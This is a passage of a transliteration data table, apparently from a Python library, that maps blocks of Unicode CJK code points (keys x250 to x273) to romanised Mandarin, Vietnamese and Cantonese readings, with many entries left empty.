'','','','er ','','huan ','','Nguoi ','','','','','','','','',
'','','','chang ','','','','','','','','','','','','',
'','zu ','','','','Phau ','','','Trang ','bai ','lu ','','','','','nian ',
'','','','','zhu ','hu ','','','','','','','','','','',
'','','','Tram ','Vang ','','','','','','','miao ','','','','Ho ',
'','','','','','','','','','','','yao ','','','','',
'Nguoi ','','','','','bie ','','','','','','','','','','',
'','','Saai ','','cun ','','','','','','','','','','Pi ','nan ',
'','','','','','','','wa ','','','','','','','','xun ',
'','','','cheng ','','','Da ','han ','xiao ','','Zaap ','','','','','',
'Trong ','','','','lu ','','','','','','','','','ta ','','',
],
'x250':[
'','du ','','','','','','','','','','','Giay ','','','',
'','','','liu ','lu ','','','','','','','','','','','',
'','','','xue ,qiao','','la ','','','','','','','Jim ','','','',
'la ','','du ','Mo ','','lu ','','','','','','','','','xiang ','',
'','','jie ','mang ','','','','','','','','','','','','',
'','','Ngaau ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','diao ','',
'','','','','','','','','','','','','','','','',
'','Jim ','','ju ','','','','','','Trom ','','tu ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','hu ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'cha ','','','','','','','','','','','','','','','',
'','Mam ','','','qu ','','','','','','Mam ','Mam ','','','','',
'','','','','','','','','Vuc ','','','','','','','',
'','Nhap ','','','','fan ','','','','chuan ','yao ','','','','du ','',
],
'x251':[
'','meng ','','','','','','','mu ','','','','','','Cik ','',
'','fu ','','','','','','','','','','','','mian ','','',
'','','','','','','','','','','','Gap6','','','Nham ','Ngom ',
'Nhon ','','mie ','','Xue ','xu ,yu','','','','bao ','','','','','','',
'','','','Nhon ','','','','','Laap ','','','','','','','',
'','dian ','fan ','','','','','','','','','','','','','Ngaau ',
'Hau ','er ','','','','','','','','','','','','','','',
'','','Chau ','','','wei ','','','','','xu ','','','','Zong ','',
'Giuong ','','','Nho ','','','','','','yu ','','','jue ','','','',
'','','','','','','','','','','','xu ','wang ','','juan ','',
'','','','','','xie ','liu ','','','','','','','','','',
'','','nao ','','','','wan ','jiu ','','Ngop ','Dau ','Ru ','Le ','','','Quau ',
'Mang ','Tro ','Bet ','','','','','','Nhon ','','','','han ,qia','','','xu ',
'','','jie ','','','','','','jun ','','','','','','dian ','',
'','','','Gwat6','','','','','','','','','','','','mai ',
'','','','','','','Him ','','','','','Tro ','','','','xu ',
],
'x252':[
'','','','','chuang ','','mao ','','','huan ','sha ','','','','','kuang ',
'','','','','','','die ','','','la ','','lu ','','','','Sou ',
'','','','','','','','','','','','','','','leng ','',
'','','Ngap ','Chot ','Nguoc ','Nhon ','Nom ','','','','','','','','','',
'guan ','ju ','','nai ','','ge ','','','','','ma ','teng ','','','','',
'','','','','','','','','','','','','chen ','','','',
'','','','','','','','','','','','','Let ','','Soc ','',
'han ,qia','','','','','Ma ','lu ','','','','die ','','','','','',
'Xam ','','','','','','','','','','xu ','','Caau ','','','',
'','','','chan ','','','','','Ghe ','Zong ','','','','Chop ','Quac ','Nhan ',
'','','','','Nguoi ','','Mu ','','','','','guan ','','zun ','','xie ',
'','','','','Toet ','','','','','','','','','','','',
'','','','','','','','Caang ','','','','','Sa ','','','',
'','','Tre ','','','Trom ','','','Saau ','','','','','','','Xi ',
'','','','jia ','','','','','','','','','','','','',
'','','Lem ','Coi ','Ngam ','Him ','Lam ','','Soi ','','','','','','','',
],
'x253':[
'Xet ','','','','','','','','Trom ','','pan ','','','','','',
'liu ','','','','','','','','','','','Lai6','','','','',
'','','','','','Khoe ','Len ','','','','','','','xuan ','','meng ',
'wei ','42521.120,meng ','','','','','','','Dim ','Ngam ','yao ','','','','','',
'','','','','','','','','','','','','','Lom ','','',
'','','Cham ','','lei ','','','','Nheo ','','bian ','Ngom ','','','','',
'','','','hao ','','','','','','','zhai ','','','','','',
'','ze ','na ','','','','','','','','','','','','','',
'','','','','','','kai ','','wu ','','','','','ze ','','',
'yu ','zan ','','','','xu ','','xu ','','','','','','','','',
'','','cuan ','cuan ','cuan ','','','','','','','','','','','',
'','','','','','','','','qia ','','tiao ','','','','','',
'','','','','','','','huan ','','','','','','','','',
'','','wu ','','','','','','jue ','','','','','ya ','','',
'','','','','kua ','','','','','','','','','','an ','zhe ',
'','','','','','','','','','','','','','','','Van ',
],
'x254':[
'','pu ','','','','','Van ','Ngan ','So ','Ngan ','','','','Ngan ','','Coc ',
'','','Cut ','','Van ','ya ','','','Shi ','','','','','','Mong ','',
'','','','','','','','','','yun ','','','','','','',
'','','','','','','','','','','','','','zhe ','','hu ',
'','','Chai ','','','','','die ','','','','guai ','','','','',
'','ao ','','','','','','','','','','','','','','',
'','','bu ','','','Sinh ','','','','','Nao ','','','','','du ',
'guai ','','Ran ','','','','Loi ','','','','','','dian ','','','',
'wu ','','','','','','','','','','','','','','','',
'','','','','','','','','xun ','','','','','','','',
'','','','','','','','ya ','lu ','','','','','chu ','','',
'','','','kang ','','','hua ','','','','','','','','','',
'','','','','Mai ','','','','','Sanh ','','','','du ','','',
'jie ','','xian ,kan','','','','','','','','','','','','','',
'','','','','','','','','','','','','dao ','','','',
'','','','','Mai ','','','Canh ','','','','','','','','Tuo ',
],
'x255':[
'Gwang ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','yu ','','','','','','','','','','','','','',
'','shan ','','','','Ji ','','','','','','','','','','Ham ',
'','','','','Mai ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','zhe ','','','','','','','','','','','','',
'','','jue ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','la ','','',
'','','Quanh ','','','','','','','','','','','','','',
'','','','','','','','','zao ','Cuoi ','','','','','','',
'','','','','','','','','','','','','','','','du ',
'','','','','','','','','','','','','','','','',
'','','','ta ','','','','','','','dao ','','Chen ','','','',
'','','','','','','','','Nen ','','','qu ','','ca ','','',
'','','','','','xiang ','','','','','lan ','','','','','',
],
'x256':[
'','','','','yu ','','','','','','jiao ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','fu ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Rung ','','','','','','','','','','','','',
'','','','xun ','','','ru ','','','Lay ','','','','','','',
'','','','','','','','','','','','','','','','yu ',
'','','jun ','','','','','','','','lu ','','','','','',
'','','','','','','','','','','','','','','','',
'zhun ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','liu ','','','','','','','','','','',
'','nu ','','','','','','','','','','','','feng ','lu ','',
'','','','','','zhuan ','','zhe ','','','lu ','','','','','jue ',
'liao ','','','','','','','','','','','','','','','',
],
'x257':[
'','','','','','','','','','','','','Ao ','','','',
'','','Yan ','','','','','','','zan ','','','','','','',
'','','','','','Yi ','','','','','','','','','jun ','',
'','','','','','','','','','','','','','','','',
'she ','','','','wan ','','','','','','','','','','','',
'','','gua ','','jie ','','he ,xie','','','','','','','','','du ',
'','','Li ','','','jie ','','ba ','yu ','','','','','','','',
'','','','','','','','','he ','','','','','Cay ','du ,zha','',
'','','','','he ','','','','','','','','','he ','','zhu ',
'','','','','','','Giong ','','zun ','','ru ','Duo ','jiang ','','','',
'','','','','','','','heng ','','','','','','','','zu ',
'','','','','ku ','','','','','','','','','','','',
'','','','he ','','','','','','','','','','','','',
'','','','','','','','','','','chang ','','','','','',
'','','','','','','','','','','mao ','','','','','',
'','','','','','','','','','Lui ','','','Bap ','','','',
],
'x258':[
'','','','','','huan ','','','','','','','','','','',
'','','','','','','','','','','','','yang ','','','',
'','','','','','','','','','','','','Trau ','Giong ','Rom ','Rom ',
'','','','','chang ','','','liu ','','jie ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','jun ','jiao ','','','','','','','','','','','',
'','','','','Ji ','','','','','','','','','ai ','','',
'','','','Nanh ','Mam ','','','','','','','','','','zun ','',
'Cau ','','','','','','','','','','','','','','','hu ',
'','','','','','','','','','','','','','','','',
'','','cheng ','','','','kuai ','','ge ','xie ','','jie ','','','','',
'','','','','','','zu ','','pu ','','','','','','','',
'','','','','','','','','','','','meng ','','','','xiang ',
'','','','','lu ','','','','','','','','','','','',
'','','','','','','','','mu ','ran ','','','','','','',
],
'x259':[
'','','','','','','','','','','','zhe ','','','','',
'','','','','','','','','jue ','','','','','','','',
'','','','','','','ai ','','nu ','','','','','','','',
'','','','','','mian ','','','','','','','','','','',
'','','','','','Lung ','','','','','','','','','','',
'','','','','','','','','','','','','','','','wa ',
'','','','','','','','','','','','','','','','',
'','cheng ','','','','yang ','','','','liu ','','','','qiu ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','fu ','','','','','','qia ','dian ',
'','','jiao ','','','','','','','','','','','','','',
'','','','','','','xian ','','','','','','','','','',
'','','','','','','','','','','','','','','Hang ','',
'','','','','','liu ','','','','','','','','','','',
'','','','tu ','','','','','','Nup ','','','','','zhe ','',
'hua ','','','','','','','fu ','','Tam ','','qu ','','','','',
],
'x25a':[
'','','','','','','','','','','','','liu ','fu ','dan ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Trong ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Hoam ','','Chui ','','','','','','',
'','','','','','','','','','','','','','ca ','','',
'','','','zhu ','hai ','','','','','','','','','','','',
'','','Hai ','','','','','','','','','','','','','',
'','','','','','','','','','','','fu ','','','','',
'','','','','','','','','','','fu ','','','Trong ','Trong ','',
'','','','','','','','','','','','','','','','',
'','cu ','','','pang ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','dun ','','','',
'lu ','Deon6','','','','','','','','chen ','','','huang ','shi ','','',
],
'x25b':[
'','','','','','','','','','','','','','','','',
'','','','yao ','','','','','','ju ','','','','','','',
'','','','','','','','','Khau ','Nia ','','','','','Giang ','Kao ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Mang ','Mau ',
'','qiu ','dun ','','','','','','','','mang ','','','miao ','yuan ','',
'wu ','','','','','','','','','','','','fei ','','meng ','',
'','','','','','','Mang ','','','','','','','','','',
'','','','','','','','Buong ','Hum ','Bu ','','','','','','',
'','','','','','hang ','','ju ','nian ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Manh ','Tre ','Mui ','','',
'','','Toi ','Trum ','','dang ','du ','','ye ','','','','','','','pai ',
'','','','','','','jian ,sha','','','','Trau ','','','','yu ','',
'','','','','','','','','zhu ','','','','','','','',
],
'x25c':[
'','','','','','','','','','','Thap ','','','','','',
'','','','','','','','','','','','fu ','','','','',
'','','shan ','liu ','','','','','','','hu ','','','','','',
'','','','xian ','','','','','','','','mu ','','','zhai ','',
'','','nu ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Ro ','','','','Ghi ','Gianh ','','',
'','','','','','','','','','','','','','juan ','','',
'','','','','dan ','','','dan ','','hu ','','','','','lu ','chuan ',
'wu ','','','','','','','du ','','','shuang ','fu ','ju ','','','diao ',
'wang ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','fu ','','','','','','xun ','','',
'Khay ','','','','','','bu ','','','','','','','','','',
'','fen ','dian ','','','','','','','','suan ','','an ','','','',
'','','du ','','','','','','dan ','','','','','','','',
],
'x25d':[
'','','','','','','','','','','','','','','','',
'','','','','','','','Thung ','Mui ','','','','','','','',
'','','','','','','','','ai ','ge ','ju ','tun ,dian','','qia ','','',
'','jian ','','','','suan ','','','','','','qiang ','','','','',
'','','','','','','','','','','','','','','','dian ',
'','','','','','','Toi ','Hom ','Ray ','','Lak6','Nong ','','','jie ','zhu ',
'','','','','zhao ','','','','','','','','','','','sa ',
'','','','','','','','','','','','','','','','Mung ',
'Thung ','','Gay ','','','liu ','','','','','','','','','','',
'','','','','','','','','','','','','hu ','','','',
'','','','','','','','','','','','','','','Toi ','',
'','','','','','','','','','','die ','','','','','',
'','ban ','','','','','hu ','','','','','','','','','',
'','','','','yu ','die ','','','','','','','','','yu ','',
'','','','','','','','','','','','','','','','',
'','fu ','','','','','','','','','Mo ','May ','cu ','','','',
],
'x25e':[
'','Nan ','','','','','','','dang ','','','','','','','',
'','','','','','','','','','','','','','Trum ','','',
'','','','shan ','yu ','','','','','','yu ','','','','','',
'','','','','','tun ','','','','','','','','','','',
'Tam ','','','','','','','fan ','','Nap6','','','','zhu ','','',
'','','','','yu ','','','','','','','can ','','','','',
'','','','','','','','','','','','','','','','',
'Lau ','','','','bu ','chu ','','liu ','Bot ','','','','','','','',
'','','','','','','','','','','ge ','','','','','',
'','Tam ','','Lo ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Com ','','','','',
'','','','','','','','xian ','','he ','','','','','','',
'','','','','','','','','','','Nam ','','','','bu ','No6',
'','May ','','','','','sa ','','','mian ','','','','','','',
'','','','','xia ','','','','Bun ','','','','','','','',
],
'x25f':[
'zu ','','','ze ','','','','','','','','','','','','',
'','','','','','Lep ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','xiao ','','','Thung ','','','','','','','','','Com ','','xian ',
'jian ','','','','Men ','','','','Miao ','','','','','','','',
'','Phan ','','','Xia ','','','','','','','','niang ','','','',
'','','','','','','he ','','lian ','','','','','','','',
'','','','Men ','','zhu ','','','','','','reng ','jie ','','','',
'','','','','','wu ','','','','','','cu ','','','','',
'','','','','','','','fu ','hu ','','','','','','jue ','diao ',
'','','','','','','','','','','','','','','Buoc ','',
'','Vuong ','Tim ','na ','','','','','','','','','','','','',
'','','','','','','','Giay ','','','','','','dai ','','',
'','','','','Khau ','','','','','','','','','','','pai ',
'','','','','','','','chao ','','','','','','','','',
],
'x260':[
'','','','','','','','Jing ','','','Dai ','','','','','Thua ',
'','','','','','','Kep ','','','','','','zhuang ','','','',
'liu ','','','','','','','','No ','','','','','','','',
'','','','','','','','','mao ','Thun ','Xe ','Cui ','Noi ','Keo ','Rang ','',
'Boi ','Nuoc ','','','','','zhuan ,juan,shuan','nian ','','','hua ','','','','','yan ',
'jue ','','','','','','','','','','','','die ','','','',
'','','','Go ','','','','','','','','','','','','',
'','','','','','','','','','Ro ','','','May ','Vuong ','','',
'','','','','','','','','','','fu ','','','','','',
'','','','','wan ','','','Sok ','','','','The ','','','','',
'','','','','','Dam ','','','','','','','','','','',
'','','','','','','','','','','','Luot ','','','','Buoc ',
'','','','','','','','','','','','','','','','',
'Tao ','','','liu ','he ','','','','','','','','','','','',
'','','','','mu ','','','','','','','','','','Gai ','',
'','','','','','','','','','','','','','','','',
],
'x261':[
'','Thun ','Dai ','','Quan ','','May ','','','','','','Chap ','','','',
'','','','Xau ','die ','','','','','','','','','','Van ','',
'Nut ','','','Cuon ','','','','','','','','','','','','',
'','','','','Chai ','','','','Xung ','','Rang ','Quan ','','qu ','','',
'xun ','','','','zhe ','','dian ','','','','','','','','','',
'','xun ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Tan ','',
'','Thua ','','','','','','','','','','','','ju ','','yun ',
'','','','','','','','','','','','lai ','','','','',
'','','','','','','','','','','Neo ','','','','wu ','Mung ',
'','','','','','','','','','','','','','','','Ban ',
'','','','','','','','','','','','la ','','','','',
'','','','','','','','','','','','','','','','',
'','','Roi ','','','','','','','','','la ','','','','',
'','','','','','','','','','','','','yao ','','Chung ','',
'','','','','','','','','he ','','','','','','','',
],
'x262':[
'','','Nhau ','nang ','','die ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','yu ','','','','','','','','','','','','',
'','','','','','','','','yu ','','','','','','','',
'','','','','','','Cha ','','','liu ','','','','','','',
'','','','','','','','','Caang ','bian ','','','','','','ya ',
'','','','','','','','ya ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','hu ','cen ','','','','','','','','','','','','',
'ju ','','','','','','','','hu ','','Bon ','Tu ','','','','',
'','','','','','','fu ','hu ','','','','','','','','',
'','','','','','','','','','','','','','meng ','fu ','liu ',
'','','','','','xie ','','','xian ','','','','','','','',
'','','','','lu ','','','','','','','','','','','',
'','','yu ','han ','','','Ra ','','','','dan ','','','','','yu ',
'','','','','','','','','','','','','','','','',
],
'x263':[
'','','','','','','','','','su ','su ','','','','','',
'','','liao ','','','lu ','','','','','','','','','','lu ',
'','','','','','','huan ','','','','','','','','','',
'','','','','','','','du ','','','','','','','','',
'nan ','','','','','quan ','','','','','','','','','','fen ',
'','','ta ','tun ','','','','','','','','','','','','',
'','','','','','','','','','Gu ','fen ','','','','','',
'','','','','','','','','shan ','','','','','','','',
'','','','','su ','','','chuan ','','','','','','','','',
'','','jie ','','','','','','yu ','','','Guong ','chuan ','','','',
'','Xinh ','','','','','wu ','','','','','','Tanh ','fu ','','',
'gu ','','','','','','','','','','','','','','','',
'ren ','','','','','jue ','','','','','','','','','','',
'','','','Bon ','','du ','','hu ','','','','','yu ','','','',
'','','mai ','','','','','','huai ','','','','','','','',
'','','','','','','','','','','','yu ,yu','','','','',
],
'x264':[
'','','','','','','','Taap ','Fen ','','','','','','','',
'','','','','','','','','','','','qu ,yu','','','','',
'','fu ','','','hai ','','','','','','','','','','','',
'chai ','','','','','','','','','','','','','','','',
'','','','','','','','ta ','','','','zu ','','xu ','yan ','chai ',
'','','','','','','','','','','','','ge ','','','',
'','','','','','','','','','','','','','','','',
'','','ta ','','','','ta ','','','fu ','','','','','liu ','',
'','','','','','han ','','','','','','','','','','he ',
'','yu ','','','','','','','','','','','Zin ','','','',
'','','','','','','la ','','','','','','','','','',
'tai ','','','','','Khu ','shu ','Bou ','','','dao ','','','','','',
'','','','','','Gia ','','Khu ','','Lu ','','wang ','','','nai ','',
'jue ','','','','','','','','','','','','','','','',
'','Ma ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x265':[
'','','','','','tu ','','','ze ','','','','','fu ','','',
'','','','','','','','','','Cay ','','','','','','',
'pai ','','','','','','kuai ','','','','','','qu ','','zhe ','sha ',
'','','','','','','','','','nai ','','','','','','tian ',
'','','','','','','ye ','','','','','','','','','sao ',
'','','Zim ','xu ','','','','','','qu ','','','','','','',
'','','','','','','','','','','','','','','','',
'duo ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','hua ','','',
'','Nghe ','','','','','','','','','','','','','','',
'','','','','','','','yan ','','','','','','','','',
'','','','','','','','','','','','Tai ','hu ','','','Dap ',
'','tian ','','','','','','','','','','','','ai ','','Lang ',
'ai ','zhe ','','lu ','','','','zhe ','','','','','','','Ghe ','',
'','','','hu ','','','','','','','','','','','','',
'','','','','','','','','','','','ju ','','','','',
],
'x266':[
'','','','','','','','','','','','','','wai ,wa','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','Paa ','','','','','','',
'','','','','','','','','','','','','','','','',
'pan ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Moc ','Mao ','Hong ','Tim ','','','','','','','','ju ','dai ',
'','','','','zhu ','Wan ','Gu ','','','ban ','','mai ','Ci ','','','',
'','','','','','','','','','','','','','','','',
'','','','Ping ','','','Zaap ','','','','','','','','','',
'','','','hen ','','','','','','','','xie ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','Ruot ','','','ku ',
'na ','','','','xuan ','','','','he ','','Nam6','','Ham ','','','',
'','','','','','','','','','','','','','','','',
'','','jue ','','','','','','','','Bet ','Thon ','','','Nuc ','Mang ',
],
'x267':[
'','','','xu ','','','','','','','','','','pang ','','',
'','','','','','','Ngaa6','','Vu ','','','','','','Ron ','',
'','','','','','','','','','','','','','','','',
'','','','','tun ','','','','','','','','','','','',
'','','','','Rang ','','','','Ngac ','','','Mun ','Mep ','','Phop ','',
'','','','','','','','','','','','','','huan ','','',
'','Jim ','','','ban ','','','','','','','','tu ','','','',
'','','','xu ','','','','','','','','','','','','',
'','Tuoi ','','','','','','','','','','','','','Nghen ','',
'','','','Phay ','','','','','','','','','','','','',
'','','Tao ','Sao ','','zhe ','','','','','','sai ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Bo ','Zin ','Gay ','Suoi ','Khu ',
'','','','tun ','','','','Nem ','','','','','ze ','','','',
'cu ','','','','Xiu ','','','','','','','','','','','',
'','','hun ','ju ','','','Nem ','','','','','','','','Khu ','',
],
'x268':[
'','cu ','','','','xun ','Sun ','ceng ','','','','','','','','',
'','','jue ','','','','pao ','','Vai ','','','','','','','',
'','','jiu ','zhe ','','','shu ','','','','','','','','','',
'','Phet ','','','','Roi ','Seo ','','','','','','','','','sa ',
'','','','','du ','','Fat ','','','','','Ron ','','','','',
'','','','','','','','','','','','','','','Ngam ','Lung ',
'Song ','','Rau ','','','','','','san ','','','','','yu ','','',
'','yao ,shao','','','','hun ','Lom ','','','','','','','','','',
'','','','','','','','','','','Pok ','','Duk6','','guang ','',
'','','','Mak6','','','','','','','','','','','','',
'Rang ','','','','','','','meng ','','','','','','','','',
'','','','Vai ','Lot ','','','','','','','','','','','',
'','','','','lei ','','','Lo ','','','','','','','Nan ','',
'','','qu ','','','','','Nhau ','','Nang ','','','','','','',
'','','','','','','','','','','','','','','','',
'','Zak ','','','','','','','lian ','','','','','','','',
],
'x269':[
'','','','','','','','','','','ru ','yao ','','','Gao ','',
'','','','','','','','','','wa ','','','','','','',
'','','','','','','Hot ','zhai ','','','','','hai ','','Thoi ','Kham ',
'','','','','','','','','','','','','','','','',
'','wu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Xue ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','fen ','','','','','','','','Kyo ','','xiao ','','','','',
'','','cheng ','','','','','','','yu ','','yu ','','','','',
'','','','','','','','','','','','','','juan ,fan','','',
'','','','Lau ','','Weng ','','','','','','','','','','',
'','','','','','','tian ','','hu ','','','ta ','','','ta ','ta ',
'','','','','','ta ','','','','','','','huai ','','','',
'','ta ','Loe ','','','hua ','','','zhuan ','','Laai ','','','','','',
],
'x26a':[
'','','Mua ','','','','','','fu ','wu ','','fu ','','','ta ','',
'','Chai ','','','','','chao ','','','','','','Qua ','','','',
'','fu ','','','','','jia ','','','','','','','','','',
'','','','wu ','','','','','','','','Khoang ','','','','',
'','','','','','','','','','','','bai ','','','','',
'','','','','','','','','','','Mui ','Gu ','','','yu ','',
'','fu ','xian ','','','','','','','','','','','','','',
'','sheng ','','','','jian ','','','','','','','','','','sha ',
'','','','','','','','lu ','Ao ','','','','','','','Thong ',
'','','','','dun ','','','','jue ','ta ','zun ','','','teng ','','',
'hua ','','','','','','','','','','peng ','','','','','',
'','','','','','Ghe ','','','','','','Khoang ','Ghe ','','','',
'teng ','','','','','','','','','','','','','','','',
'','','','','','','','','','ba ','','','','','','',
'','','','','','','','','','','wa ','','','','','xun ',
'meng ','','','','','','','','','','','','','','','',
],
'x26b':[
'','','wu ','zhe ','','','','','','','','','','','','',
'','','','','','','qiu ','','','','hu ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','zhu ','','','','','','','',
'','','','','','','','','hu ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Tup ','','','Hung ','','','','','',
'ru ','','','','','','','','','','','jiu ','','','','',
'','jiao ','','','','','','','','','','','','','','',
'','pu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','Nen ','','','','','fu ','','','','','','',
'','','','','','xu ','','','','','','','','','','',
'','zao ','','','','','','','','','','','','','','',
'','','','cu ','','','','','','','xiao ','','Dua ','','','',
'','','','','','','','','','','','','','','','',
],
'x26c':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','fen ','','','','Ngon ',
'','','Nua ','','Lau ','','','','','','qiu ','','','dun ','','',
'','','','ye ','','','','','','','fu ','','','','','',
'yu ','','yu ','yu ','Gu ','','','','','','','meng ','','','','',
'','','mu ','','Bei ','','Fu ','','','','','','xiao ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Nhai ','','','','','','','','','','','','','',
'','','','','','','','','','','','fu ','','','','wan ',
'','','','','','','','Lei6','','','','Rom ','','','Muop ','',
'','hao ,mao','','xie ','','','','','','','','','','','','',
'nai ,na','','','fu ','du ','','','','','Tre ','','','','','bai ','',
'','','','xun ','','','','','','','','','he ','','','',
'','','','','','','meng ','','','','','','','juan ','ru ','',
],
'x26d':[
'','','','','','','','','','hu ','','Mong ','jun ','she ','','',
'','','','','meng ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Ke ','','','Nu ','','','','','',
'','','','hun ','','','','','','','','','zu ','','','',
'','','','','jie ','','','','','','','','jun ','','','',
'','','','','','','','','','','','shan ','','','','',
'','ta ','','','','','','','','heng ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Kou ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Chu ','','',
'','','','','','','qiang ','','','Bom ','','','','','','Mai ',
'','','','hu ','','','','hai ','ru ','meng ','','','','wu ','','',
],
'x26e':[
'','','','','','','','','','qia ','','','','','','',
'lu ','','','','','','','','','','','','','','','',
'','','','','','','','','','','pei ','','','','','',
'','fu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','zhao ','','','','',
'','','','Thom ','','','Voi ','Bui ','','Nhai ','','Dam ','','','','',
'','','','','','','','du ','','','','','','','','',
'','','','','','','ju ','','','','','chuan ','Lao ','','','hu ',
'','','jie ','xiang ','','','','','xiang ','','','lang ','','','','',
'','','shuan ','','','chu ','','','','','','','','','','',
'','dan ','','','','sa ','','','','','','','','','','',
'Zaau ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x26f':[
'','','','Sang ','','','','','ju ','','leng ','lu ','','','','',
'','','','','','','','','','','Lum ','San ','San ','','Dua ','Khay ',
'Sung ','','she ','','','','','sa ','','','mao ','qu ','','','','Zuk6',
'','juan ','','','','he ','','','','','','mei ','','','','',
'','','lu ','mian ','dian ','','','','','','Waa ','','','','lu ','fu ',
'','','zei ','','Om ','','','','','','','','dan ','','wan ','',
'','','','','','','','','','','','','','','','',
'Tranh ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','sha ','','','','lu ','',
'Dua ','','','','','','','','','dan ','','','','','','',
'','','','','','','jian ','lu ','','','','','','ta ','','',
'chu ','fu ','','','','','dang ','','','','lu ','','','','','',
'jie ','','','','','','lu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x270':[
'','','','','chang ','','meng ','','','','','','su ','','','Sung ',
'','Giong ','Non ','Ru ','','sa ','','','','','','','Sam ','','','',
'','zhan ','','','','','','','Lop ','','','','','','','',
'','chai ','','','','','','','','','xie ','','','','','',
'','','','xu ','','','','','','fan ','meng ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','Ghem ','','','','','','','','','','','',
'','zhan ','jian ','han ','dan ','','jian ','','','','','','','','','',
'','','','','hu ','','','','','','','meng ','ju ','','','',
'','meng ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Dua ','','','','chu ',
'','','','','','','','','','','','','','','','',
'yu ','','','','','','','','','','','','','','','',
'','','','','','','Muong ','Khoai ','','','','','','','','',
],
'x271':[
'','','','','','','','','','','Han ','','','','','fu ',
'','','qu ','','','','','','','','','ju ','','','','',
'','','','','','','','','','','','','','','','',
'','','Mo ','','','','','','','','','','','','','',
'','','','','','','','','diao ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','Men ','Muong ','','',
'hu ','','','','','','','','','','nang ','','','','','',
'','','','','Thuoc ','','','','','','','','','','','',
'gan ','','','','','','','','','','','','','','','',
'','xu ','','lu ','','','','','','','','','','','','hu ',
'','','','','','','','','','','','','','','','',
'','','','','lu ','','','','zu ','','','','','','he ','',
'','','','','','','','','','','','','','shu ','','',
'yao ','','','','','','','','','','','','','','he ','',
'hu ','','','','','','','','','','','','hao ','','','zu ',
],
'x272':[
'','','','','xia ','','','','','','','','ge ','','','',
'','ge ','','','','','ge ','','','','42573.210,zhu ','','teng ','ya ','','',
'','','','','','','','','','','','','','wu ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','tai ','','','','','','','','Trun ','Vat ','','','','','',
'','','xue ','yu ','fan ','','','','','bu ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Gwaai ','','dai ,de','','Buom ','Nhong ','','','','Vat ','',
'Trut ','','','','','','','','ku ','','','qu ','','','','ru ',
'','','','','','xu ','','','','','','','he ','','','',
'','','','','','Gong ','Doe ','','','','','','','','','',
'Chau ','','','','','','','','','','Saa ','','du ','Zhe ','','',
'','','','kao ','','','','','','','','','','','','Moi ',
'','na ','','','','','Mei ','','','','','','','','','',
'','','','','','Cuong ','Mot ','','','','Chay ','','Nhong ','Mang ','','',
],
'x273':[
'','','Bo ','','','','','Bang ','fu ','lu ','','','','lu ','','ta ',
'','','','Fu ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Cua ','','','','','Ngai ','','','','Cua ',
'','','','shuai ','','jue ','','','','fan ','','','','','','',
'jie ','','','','','','','','','jie ','yu ','','','','','feng ',
